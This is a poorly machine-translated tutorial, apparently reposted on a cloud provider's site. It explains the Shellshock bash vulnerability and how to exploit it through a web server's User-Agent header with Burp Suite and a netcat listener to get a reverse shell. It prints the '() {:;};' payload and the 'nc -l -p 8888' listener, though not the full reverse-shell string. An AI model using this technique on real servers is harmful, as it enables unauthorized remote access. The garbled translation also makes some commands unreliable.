Bash shell hole rebound shell_test

Source: Internet
Author: User

The principle of 0x00 broken shell loophole

Enter the inside of bash

~ Export Name= ' () {echo ' Inside name ';}; echo "Outside name";

View environment variables

~ Env|grep name
~ name= () {echo ' Inside name ';}; Echo ' outside name ';

At this point you will find that when you enter the sub shell, direct output outside name

~ Bash
~ outside name

To enter the child shell to successfully execute the code, so the problem comes
-If you can get into the sub shell in one sentence and the output can be used-
Then the smart hacker tries to construct a statement that implements this functionality.

~ Export Name= ' () {:;}; echo outside name '; bash

Enter a carriage return to directly display the contents of the output

~ Outside name

0x01 Conditions of Use
-The web calls bash because the vulnerability exists in bash inside
-The web will pass our controllable parameters to the environment variable inside
-Determine if the target bash version is vulnerable
-Able to return the return result.

0X02 Utilization Process
First login to the target site, access to the specified directory, found that indeed in the environment variable inside the user-agent we visited

Then make the construction user-agent, you can use Burpsuite grab package modification, or Firefox browser with the user agent switch plug-in to modify
I use the Burpsuite grab bag here, first set the browser's proxy

Once the configuration is complete, access the target Web page again, and the request packet will be intercepted in the burpsuite, modifying the User-agent

Of course, our goal is to bounce a shell back, need to open a terminal, and then listen to the user-agent inside the port, then open a terminal input
Nc-l-P 8888 (-l specifies port for listener mode-p)

Then click Forward (Forward) in Burpsuite and then you can see just enter nc-l-p 8888
There is a shell that does not belong to itself, and here it succeeds in bouncing off a shell

The first serious record of the process, Daniel Bypass, the same as small white, common progress

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.